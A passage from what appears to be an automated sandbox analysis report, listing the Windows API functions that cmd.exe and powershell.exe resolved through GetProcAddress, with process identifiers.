00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00003800) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00003800) "powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter RtlRegisterFeatureConfigurationChangeNotification (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter RtlDisownModuleHeapAllocation (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter RtlQueryFeatureConfiguration (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter RtlDllShutdownInProgress (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter LogStagedFeatureUsage (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx_RetAddr (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter RtlVirtualUnwind (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SysStringByteLen (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateStringReference (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter WindowsDeleteString (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SetWaitableTimerEx (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributes (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter EnumWindowsW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguagesW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguagesW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleNameW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectory (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter WTGetSignatureInfo (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter DeleteFile (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCP (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCPW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontEx (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontExW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenExW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitle (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleMode (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleModeW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileName (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateContextProperty (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContextW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateData (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateDataW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChain (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChainW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChain (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChainW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrustW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContextW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimes (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimesW (UID: 00000000-00005280) "powershell.exe" called 